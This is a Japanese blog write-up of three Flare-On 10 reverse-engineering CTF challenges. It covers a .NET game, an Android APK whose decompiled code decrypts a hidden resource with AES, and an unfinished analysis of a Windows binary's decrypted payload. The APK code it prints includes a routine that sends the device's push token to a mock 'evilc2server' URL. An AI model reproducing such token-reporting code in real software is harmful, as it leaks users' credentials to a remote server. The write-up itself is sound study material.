Flare-On Challenge 10 WriteUp

リバースエンジニアリング専門のCTF Flare-On Challenge。今年で10回目の開催で、自分は5回目の参戦である。

今年は3問目でリタイアしてしまった。

1問目と2問目の解法及び3問目の四苦八苦をまとめておく。

主催者公式のWrite Up はこちら

01 X

X.7z を解凍すると複数のファイルが現れたが、とりわけ目を引いたのはX.exeX.dllというファイルだった。

このうち、X.exeは64ビットのEXEファイルで、X.dllを読み込んで実行するためのローダーであることが判明した。

X.dllは.NETファイルの模様。

$ file X.dll
X.dll: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

dnSpyでX.dllを眺めたところ、monogame1 -> Game1の配下の_lockButton_clickという処理にフラグがハードコードされていた。

02 ItsOnFire

APKファイルItsOnFire.apkを解析してフラグを取得する問題。

Android Studioのエミュレーターは依然調子が悪いし、ちゃんと解けるか不安だったが、結論から言うとエミュレーターによるデバッグは不要だった。

Android Studio経由でアプリを実機にインストールしたところ、シューティングゲームのアプリであることが分かった。

続いて、APKファイルをJARファイルに変換してJD-GUIでソースコードを眺めてみた

secure.itsonfireというのがメインのパッケージだが、それ以外にもa~vというパッケージが存在していた。

とりあえず適当なキーワードでソースコードを片っ端からgrepしたところ、cipherというキーワードがヒットした。

$ grep -R -i cipher .
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:import javax.crypto.Cipher;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:            if (cryptoObject.getCipher() != null) {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:                return new CryptoObject(cryptoObject.getCipher());
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:            if (cryptoObject.getCipher() != null) {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:                return new FingerprintManager.CryptoObject(cryptoObject.getCipher());
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:        private final Cipher mCipher;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:            this.mCipher = null;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:        public CryptoObject(@NonNull Cipher cipher) {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:            this.mCipher = cipher;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:            this.mCipher = null;
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:        public Cipher getCipher() {
./androidx/core/hardware/fingerprint/FingerprintManagerCompat.java:            return this.mCipher;
./f/b.java:import javax.crypto.Cipher;
./f/b.java:        Cipher cipher = Cipher.getInstance(str);
./f/b.java:        cipher.init(2, secretKeySpec, ivParameterSpec);
./f/b.java:        byte[] doFinal = cipher.doFinal(bArr);
./f/b.java:        Intrinsics.checkNotNullExpressionValue(doFinal, "cipher.doFinal(input)");

上記で目を引くのはパッケージfb.javaである。以下はb.javaの内容。

package f;

import android.content.Context;
import android.content.Intent;
import android.content.res.Resources;
import android.net.Uri;
import android.os.Parcelable;
import androidx.compose.runtime.internal.StabilityInferred;
import androidx.core.content.FileProvider;
import java.io.File;
import java.nio.charset.Charset;
import java.util.zip.CRC32;
import javax.crypto.Cipher;
import javax.crypto.spec.IvParameterSpec;
import javax.crypto.spec.SecretKeySpec;
import kotlin.Metadata;
import kotlin.io.FilesKt;
import kotlin.jvm.internal.Intrinsics;
import kotlin.ranges.IntRange;
import kotlin.text.Charsets;
import kotlin.text.StringsKt;
import org.jetbrains.annotations.NotNull;

@Metadata(bv = {}, d1 = {"\000L\n\002\030\002\n\002\020\000\n\002\020\016\n\000\n\002\020\022\n\000\n\002\030\002\n\000\n\002\030\002\n\002\b\003\n\002\020\t\n\000\n\002\030\002\n\002\b\002\n\002\020\b\n\000\n\002\030\002\n\000\n\002\030\002\n\002\b\002\n\002\030\002\n\002\b\004\b\002\030\0002\0020\001B\t\b\002\006\004\b\032\020\033J*\020\n\032\0020\0042\006\020\003\032\0020\0022\b\020\005\032\004\030\0010\0042\006\020\007\032\0020\0062\006\020\t\032\0020\bH\002J\020\020\r\032\0020\f2\006\020\013\032\0020\004H\002J\020\020\020\032\0020\0022\006\020\017\032\0020\016H\002J\030\020\024\032\0020\0232\006\020\022\032\0020\0212\006\020\017\032\0020\016H\002J\032\020\027\032\004\030\0010\0042\006\020\026\032\0020\0252\006\020\022\032\0020\021H\002J\026\020\031\032\0020\0302\006\020\017\032\0020\0162\006\020\022\032\0020\021\006\034"}, d2 = {"Lf/b;", "", "", "algorithm", "", "input", "Ljavax/crypto/spec/SecretKeySpec;", "key", "Ljavax/crypto/spec/IvParameterSpec;", "iv", "b", "value", "", "a", "Landroid/content/Context;", "context", "d", "", "resourceId", "Ljava/io/File;", "c", "Landroid/content/res/Resources;", "res", "e", "Landroid/content/Intent;", "f", "<init>", "()V", "app_release"}, k = 1, mv = {1, 6, 0})
@StabilityInferred(parameters = 0)
public final class b {
  @NotNull
  public static final b a = new b();
  
  public static final int b = 0;
  
  private final long a(byte[] paramArrayOfbyte) {
    CRC32 cRC32 = new CRC32();
    cRC32.update(paramArrayOfbyte);
    return cRC32.getValue();
  }
  
  private final byte[] b(String paramString, byte[] paramArrayOfbyte, SecretKeySpec paramSecretKeySpec, IvParameterSpec paramIvParameterSpec) {
    Cipher cipher = Cipher.getInstance(paramString);
    cipher.init(2, paramSecretKeySpec, paramIvParameterSpec);
    byte[] arrayOfByte = cipher.doFinal(paramArrayOfbyte);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte, "cipher.doFinal(input)");
    return arrayOfByte;
  }
  
  private final File c(int paramInt, Context paramContext) {
    Resources resources = paramContext.getResources();
    Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
    byte[] arrayOfByte1 = e(resources, paramInt);
    String str1 = d(paramContext);
    Charset charset = Charsets.UTF_8;
    byte[] arrayOfByte2 = str1.getBytes(charset);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte2, "this as java.lang.String).getBytes(charset)");
    SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte2, paramContext.getString(2131623964));
    String str2 = paramContext.getString(2131623966);
    Intrinsics.checkNotNullExpressionValue(str2, "context.getString(R.string.alg)");
    String str3 = paramContext.getString(2131624009);
    Intrinsics.checkNotNullExpressionValue(str3, "context.getString(\n                 R.string.iv)");
    byte[] arrayOfByte3 = str3.getBytes(charset);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
    arrayOfByte1 = b(str2, arrayOfByte1, secretKeySpec, new IvParameterSpec(arrayOfByte3));
    File file = new File(paramContext.getCacheDir(), paramContext.getString(2131624023));
    FilesKt.writeBytes(file, arrayOfByte1);
    return file;
  }
  
  private final String d(Context paramContext) {
    String str3 = paramContext.getString(2131623971);
    Intrinsics.checkNotNullExpressionValue(str3, "context.getString(R.string.c2)");
    String str4 = paramContext.getString(2131624039);
    Intrinsics.checkNotNullExpressionValue(str4, "context.getString(R.string.w1)");
    StringBuilder stringBuilder2 = new StringBuilder();
    stringBuilder2.append(str3.subSequence(4, 10));
    stringBuilder2.append(str4.subSequence(2, 5));
    String str2 = stringBuilder2.toString();
    Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().apply(builderAction).toString()");
    byte[] arrayOfByte = str2.getBytes(Charsets.UTF_8);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte, "this as java.lang.String).getBytes(charset)");
    long l = a(arrayOfByte);
    StringBuilder stringBuilder1 = new StringBuilder();
    stringBuilder1.append(l);
    stringBuilder1.append(l);
    String str1 = stringBuilder1.toString();
    Intrinsics.checkNotNullExpressionValue(str1, "StringBuilder().apply(builderAction).toString()");
    return StringsKt.slice(str1, new IntRange(0, 15));
  }
  
  private final byte[] e(Resources paramResources, int paramInt) {
    // Byte code:
    //   0: aconst_null

    -- snipped --

    //   110	118	121	java/io/IOException
  }
  
  @NotNull
  public final Intent f(@NotNull Context paramContext, int paramInt) {
    Intrinsics.checkNotNullParameter(paramContext, "context");
    File file = c(paramInt, paramContext);
    Uri uri = FileProvider.getUriForFile(paramContext, Intrinsics.stringPlus(paramContext.getApplicationContext().getPackageName(), paramContext.getString(2131624024)), file);
    Intent intent = new Intent(paramContext.getString(2131623965));
    intent.addFlags(32768);
    intent.addFlags(268435456);
    intent.addFlags(1);
    intent.setType(paramContext.getString(2131624015));
    intent.putExtra(paramContext.getString(2131623996), (Parcelable)uri);
    return intent;
  }
}

上記から気になるコードをピックアップしてみた。

以下はCRCを計算するためのコードと思われる。

private final long a(byte[] paramArrayOfbyte) {
    CRC32 cRC32 = new CRC32();
    cRC32.update(paramArrayOfbyte);
    return cRC32.getValue();
  }

以下はcipherオブジェクトを生成するためのコードと思われる。

  private final byte[] b(String paramString, byte[] paramArrayOfbyte, SecretKeySpec paramSecretKeySpec, IvParameterSpec paramIvParameterSpec) {
    Cipher cipher = Cipher.getInstance(paramString);
    cipher.init(2, paramSecretKeySpec, paramIvParameterSpec);
    byte[] arrayOfByte = cipher.doFinal(paramArrayOfbyte);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte, "cipher.doFinal(input)");
    return arrayOfByte;
  }

以下は何らかのファイルを暗号化もしくは復号するためのコードと思われる。

private final File c(int paramInt, Context paramContext) {
    Resources resources = paramContext.getResources();
    Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
    byte[] arrayOfByte1 = e(resources, paramInt);
    String str1 = d(paramContext);
    Charset charset = Charsets.UTF_8;
    byte[] arrayOfByte2 = str1.getBytes(charset);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte2, "this as java.lang.String).getBytes(charset)");
    SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte2, paramContext.getString(2131623964));
    String str2 = paramContext.getString(2131623966);
    Intrinsics.checkNotNullExpressionValue(str2, "context.getString(R.string.alg)");
    String str3 = paramContext.getString(2131624009);
    Intrinsics.checkNotNullExpressionValue(str3, "context.getString(\n                 R.string.iv)");
    byte[] arrayOfByte3 = str3.getBytes(charset);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
    arrayOfByte1 = b(str2, arrayOfByte1, secretKeySpec, new IvParameterSpec(arrayOfByte3));
    File file = new File(paramContext.getCacheDir(), paramContext.getString(2131624023));
    FilesKt.writeBytes(file, arrayOfByte1);
    return file;
  }

以下はを暗号鍵生成するためのコードと思われる。

private final String d(Context paramContext) {
    String str3 = paramContext.getString(2131623971);
    Intrinsics.checkNotNullExpressionValue(str3, "context.getString(R.string.c2)");
    String str4 = paramContext.getString(2131624039);
    Intrinsics.checkNotNullExpressionValue(str4, "context.getString(R.string.w1)");
    StringBuilder stringBuilder2 = new StringBuilder();
    stringBuilder2.append(str3.subSequence(4, 10));
    stringBuilder2.append(str4.subSequence(2, 5));
    String str2 = stringBuilder2.toString();
    Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().apply(builderAction).toString()");
    byte[] arrayOfByte = str2.getBytes(Charsets.UTF_8);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte, "this as java.lang.String).getBytes(charset)");
    long l = a(arrayOfByte);
    StringBuilder stringBuilder1 = new StringBuilder();
    stringBuilder1.append(l);
    stringBuilder1.append(l);
    String str1 = stringBuilder1.toString();
    Intrinsics.checkNotNullExpressionValue(str1, "StringBuilder().apply(builderAction).toString()");
    return StringsKt.slice(str1, new IntRange(0, 15));
  }

上記より、パッケージfb.javaは何らかのファイルを復号するものと思われる。

となると、暗号の種類やら暗号鍵やらが知りたいところだが、ソースコードにはそれらしい情報がハードコードされていない。ググってみたところ、Androidのソースコードで参照されている文字列の情報はstrings.xmlというファイルに記載されているらしい。

ソースコード内で参照されている文字列を知るには、

  1. getString()で参照されている10進数を16進数に変換する。
  2. 16進数が参照している変数名を見つける。
  3. 変数が参照している文字列を見つける。

例えば、String str3 = paramContext.getString(2131623971);str3に格納される文字列が知りたい場合は、まずgetString()で参照されている2131623971を16進数に変換する。

>>> hex(2131623971)
'0x7f0e0023'

続いて0x7f0e0023が参照している変数名を見つける。

$ grep -R -i '0x7f0e0023' .
./resources/res/values/public.xml:    <public type="string" name="c2" id="0x7f0e0023" />
./sources/com/secure/itsonfire/R.java:        public static final int c2 = 0x7f0e0023;

上記より、c2という変数名が参照されていることが分かった。

あとは変数c2が参照している文字列を見つける。

$ grep -R -i 'name="c2"' .
./resources/res/values/public.xml:    <public type="string" name="c2" id="0x7f0e0023" />
./resources/res/values/strings.xml:    <string name="c2">https://flare-on.com/evilc2server/report_token/report_token.php?token=</string>

上記より、変数c2https://flare-on.com/evilc2server/report_token/report_token.php?token=という文字列を参照していることが判明した。

よって、String str3 = paramContext.getString(2131623971);String str3 = paramContext.getString("https://flare-on.com/evilc2server/report_token/report_token.php?token=");となる。

上述した要領で、パッケージfb.javaで参照されている文字列をすべて調べてみた。

以下はgetStringで参照されている10進数を実際の文字列に置き換えて、簡単なコメントを加えたものである。

public final class b {
  @NotNull
  public static final b a = new b();
  
  public static final int b = 0;
  // returns CRC32 value
  private final long a(byte[] paramArrayOfbyte) {
    CRC32 cRC32 = new CRC32();
    cRC32.update(paramArrayOfbyte);
    return cRC32.getValue();
  }
  // creates cipher object
  private final byte[] b(String paramString, byte[] paramArrayOfbyte, SecretKeySpec paramSecretKeySpec, IvParameterSpec paramIvParameterSpec) {
    Cipher cipher = Cipher.getInstance(paramString);
    cipher.init(2, paramSecretKeySpec, paramIvParameterSpec);
    byte[] arrayOfByte = cipher.doFinal(paramArrayOfbyte);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte, "cipher.doFinal(input)");
    return arrayOfByte;
  }
  // AES encrypt or decrypt the file.
  private final File c(int paramInt, Context paramContext) {
    Resources resources = paramContext.getResources();
    Intrinsics.checkNotNullExpressionValue(resources, "context.resources");
    byte[] arrayOfByte1 = e(resources, paramInt); // where is e()?
    String str1 = d(paramContext); // generates AES key
    Charset charset = Charsets.UTF_8;
    byte[] arrayOfByte2 = str1.getBytes(charset);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte2, "this as java.lang.String).getBytes(charset)");
    SecretKeySpec secretKeySpec = new SecretKeySpec(arrayOfByte2, paramContext.getString("AES"));
    String str2 = paramContext.getString("AES/CBC/PKCS5Padding");
    Intrinsics.checkNotNullExpressionValue(str2, "context.getString(R.string.alg)");
    String str3 = paramContext.getString("abcdefghijklmnop");
    Intrinsics.checkNotNullExpressionValue(str3, "context.getString(\n                 R.string.iv)");
    byte[] arrayOfByte3 = str3.getBytes(charset);
    Intrinsics.checkNotNullExpressionValue(arrayOfByte3, "this as java.lang.String).getBytes(charset)");
    arrayOfByte1 = b(str2, arrayOfByte1, secretKeySpec, new IvParameterSpec(arrayOfByte3)); // b(AES/CBC/PKCS5Padding, unknownfile, AES-key, IV-abcdefghijklmnop)
    File file = new File(paramContext.getCacheDir(), paramContext.getString("playerscore.png"));
    FilesKt.writeBytes(file, arrayOfByte1); // write to playerscore.png in cache directory. How to access cache directory?
    return file;
  }
  // Generates AES key
  private final String d(Context paramContext) {
    String str3 = paramContext.getString("https://flare-on.com/evilc2server/report_token/report_token.php?token=");
    Intrinsics.checkNotNullExpressionValue(str3, "context.getString(R.string.c2)");
    String str4 = paramContext.getString("wednesday");
    Intrinsics.checkNotNullExpressionValue(str4, "context.getString(R.string.w1)");
    StringBuilder stringBuilder2 = new StringBuilder();
    stringBuilder2.append(str3.subSequence(4, 10)); // s://fl
    stringBuilder2.append(str4.subSequence(2, 5)); // dne
    String str2 = stringBuilder2.toString(); // s://fldne
    Intrinsics.checkNotNullExpressionValue(str2, "StringBuilder().apply(builderAction).toString()");
    byte[] arrayOfByte = str2.getBytes(Charsets.UTF_8); // convert s://fldne to UTF-8 -> 115 58 47 47 102 108 100 110 101 https://www.tutorialspoint.com/convert-string-to-utf-8-bytes-in-java
    Intrinsics.checkNotNullExpressionValue(arrayOfByte, "this as java.lang.String).getBytes(charset)");
    long l = a(arrayOfByte); // returns CRC32 value, 1adf20c9 -> 450830537
    StringBuilder stringBuilder1 = new StringBuilder();
    stringBuilder1.append(l); // 450830537
    stringBuilder1.append(l); // 450830537
    String str1 = stringBuilder1.toString(); // convert 450830537450830537 to string
    Intrinsics.checkNotNullExpressionValue(str1, "StringBuilder().apply(builderAction).toString()");
    return StringsKt.slice(str1, new IntRange(0, 15)); // 4508305374508305
  }
  
public final Intent f(@NotNull Context paramContext, int paramInt) {
    Intrinsics.checkNotNullParameter(paramContext, "context");
    File file = c(paramInt, paramContext);
    Uri uri = FileProvider.getUriForFile(paramContext, Intrinsics.stringPlus(paramContext.getApplicationContext().getPackageName(), paramContext.getString(.provider)), file);
    Intent intent = new Intent(paramContext.getString("android.intent.action.SEND"));
    intent.addFlags(32768);
    intent.addFlags(268435456);
    intent.addFlags(1);
    intent.setType(paramContext.getString("image/png"));
    intent.putExtra(paramContext.getString("android.intent.extra.STREAM"), (Parcelable)uri);
    return intent;
  }
  
public void onNewToken(@NotNull String paramString) {
    Intrinsics.checkNotNullParameter(paramString, "token");
    Log.i("FCM Token Created", paramString);
    ExecutorService executorService = Executors.newSingleThreadExecutor();
    StringBuilder stringBuilder = new StringBuilder();
    stringBuilder.append(getString("https://flare-on.com/evilc2server/report_token/report_token.php?token="));
    stringBuilder.append(paramString);
    paramString = stringBuilder.toString(); // https://flare-on.com/evilc2server/report_token/report_token.php?token=<TOKEN>
    Intrinsics.checkNotNullExpressionValue(paramString, "StringBuilder().apply(builderAction).toString()");
    executorService.submit(new PostByWeb(paramString));
  }
}

上記より、パッケージfb.javaは何らかのファイルをAES復号してplayerscore.pngに書き込むための処理であることが判明した。

AES鍵の生成は以下の手順で行われる。

  1. https://flare-on.com/evilc2server/report_token/report_token.php?token=という文字列のオフセット4から10までの文字を抽出する。(str3.subSequence(4, 10) -> s://fl)
  2. wednesdayという文字列のオフセット2から5までの文字を抽出する。(str4.subSequence(2, 5) -> dne)
  3. 1. と 2.で抽出した文字を連結する。(s://fl + dne -> s://fldne)
  4. s://fldneのCRCを計算する。結果は1adf20c9となる。(CRCの計算にはCyberChefのCRC-32 Checksumを使用)
  5. 4.で計算したCRCの値をLong型に変換する。結果は450830537となる。(Pythonの対話シェルで0x1adf20c9と入力 -> 450830537)
  6. 450830537450830537を連結する。(450830537 + 450830537 -> 450830537450830537)

ファイルの復号には以下のパラメータを使用する。

  • AES鍵は450830537450830537
  • IVはabcdefghijklmnop (String str3 = paramContext.getString("abcdefghijklmnop");)
  • 使用するモードはCBC (String str2 = paramContext.getString("AES/CBC/PKCS5Padding");)

あとは復号対象のファイルを見つけるだけである。

resディレクトリの中のファイルを調べて見たところ、M7.pngin.pngというファイルが目を引いた。

$ file *.png | grep -v PNG
M7.png:    data
in.png:    data

どちらのファイルも拡張子が.pngであるものの、fileコマンドではPNG画像ファイルとして認識されていない。

M7.pngを先述したパラメータを用いてAES復号したところ、フラグが取れた。

03 mypassion

64ビットのEXEファイルmypassion.exeを解析してフラグを取得する問題。

このファイルはASLRが有効化されていたので、事前に無効化しておいた。

手始めにmypassion.exeを実行してみたが、特に目ぼしい挙動は確認できなかった。

問題文を見るに、ファイルを実行するためにはいろいろ環境をいじったり、プログラムをパッチする必要がありそう。

とりあえず解析にあたり、以下のジャンプ命令を書き換えた。(jnzjzに、jzjnzに変更。)

.text:000000014000106F 75 33                   jnz     short loc_1400010A4
.text:0000000140001080 74 05                   jz      short loc_140001087 
.text:000000014000109D 74 1C                   jz      short loc_1400010BB
.text:000000014000109D 74 1C                   jz      short loc_1400010BB
.text:00000001400011BC 0F 84 09 02 00 00       jz      loc_1400013CB

それ以外はデバッガでプログラムをステップオーバー実行し、処理が止まるたびに該当箇所を逐一NOPしていった。

解析を進めるうちに、いくつか気になるサブルーチンを発見した。

サブルーチン 0x140002C00

  • AES 256の鍵を生成すると思われる。
  • 鍵の生成の際にturnitupという文字列を使用?

サブルーチン 0x140002D20

  • 何らかのデータをAES復号する。
  • IVにcapture_the_flagという文字列を使用。

サブルーチン 0x140002DB0

  • ユーザーの一時ディレクトリC:\Users\[username]\AppData\Local\Temp\ran[ランダムな値].TMP.htmlというファイルを作成して実行する。

サブルーチン 0x1400018B0

  • j__malloc_baseVirtualAllocExを呼び出して何らかの処理のためのメモリ領域を確保する。
  • ほかにも色々していると思うが詳細は不明。

サブルーチン 0x1400013E0

  • 上述した4つのサブルーチンを実行するためのラッパー関数。
  • このサブルーチンが実行されると、mypassion.exeと同じディレクトリ内に正体不明のファイルが作成される。

サブルーチン 0x140002910

  • RUECKWAERTSINGENIEURWESENというtight stringsを生成する。(mypassion.exeflossを走らせたことで判明)
  • サブルーチン 0x1400018B0の中でcallされている。

上述したようにサブルーチン0x1400013E0が実行されるとmypassion.exeと同じディレクトリ内に正体不明のファイルが作成される。厳密にはサブルーチン0x1400013E0の中でCreateFileWWriteFileが呼び出されており、これらの関数がファイルを作成する。

以下が作成されたファイルである。

作成されたファイルのハッシュ値は毎回異なっていた。

自分の解析だとサブルーチン0x140002C00 (AES鍵の生成の処理?)や0x140002D20 (AES復号の処理?)は実行されたが、サブルーチン 0x140002DB0へは処理が飛ばなかった。サブルーチン 0x140002DB0が実行された場合、ユーザーの一時ディレクトリC:\Users\[username]\AppData\Local\Temp\ran[ランダムな値].TMP.htmlというファイルを作成して実行する。その結果、フラグが表示されるのだと思われるが。。。

以下はサブルーチン0x140002D20 (AES復号の処理?)の中で呼び出されているCryptDecryptによってメモリに復号されたペイロードである。

シェルコードかな?と思い、上記のペイロードをダンプしてscdbgで解析してみたが、大した発見はなかった。

C:\Users\REM\Desktop\mypassion\shellcode>scdbg -f maybe-shellcode.bin
Loaded 2c520 bytes from file maybe-shellcode.bin
Initialization Complete..
Max Steps: 2000000
Using base offset: 0x401000

401010   error accessing 0x00000108 not mapped

401010   8B8108010000                    mov eax,[ecx+0x108]             step: 8  foffset: 10
eax=fffffffc  ecx=0         edx=0         ebx=0
esp=12fddc    ebp=12fff0    esi=0         edi=0          EFL 84 P S

401016   48                              dec eax
401017   8BD9                            mov ebx,ecx
401019   C7400803000000                  mov dword [eax+0x8],0x3
401020   48                              dec eax

Stepcount 8
C:\Users\REM\Desktop\mypassion\shellcode>scdbg -f maybe-shellcode.bin -api -s -1
Loaded 2c520 bytes from file maybe-shellcode.bin
Initialization Complete..
Max Steps: -1
Using base offset: 0x401000

401010   error accessing 0x00000108 not mapped

401010   8B8108010000                    mov eax,[ecx+0x108]             step: 8  foffset: 10
eax=fffffffc  ecx=0         edx=0         ebx=0
esp=12fddc    ebp=12fff0    esi=0         edi=0          EFL 84 P S

401016   48                              dec eax
401017   8BD9                            mov ebx,ecx
401019   C7400803000000                  mov dword [eax+0x8],0x3
401020   48                              dec eax

Stepcount 8
No Api were called can not scan for api table...

サブルーチン0x1400013E0 (ラッパー関数)は最後に以下のcall命令でAES復号されたペイロードを実行するようである。

上記のcall命令にブレークポイントをセットしてステップイン実行してみた。

しかし、ほどなくして_invoke_watsonに処理が移り、プログラムが終了してしまった。

Leave a Reply

Your email address will not be published. Required fields are marked *